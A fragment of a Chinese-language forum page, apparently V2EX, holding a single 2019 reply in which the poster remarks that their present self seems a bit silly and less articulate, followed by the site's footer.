       2019-02-22 18:07:24 +08:00
    @szlszl35622 现在的自己有点傻,说话不利索。

    当时的没有现在的这个厉害。
    1  2  
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1106 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 34ms · UTC 18:50 · PVG 02:50 · LAX 11:50 · JFK 14:50
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.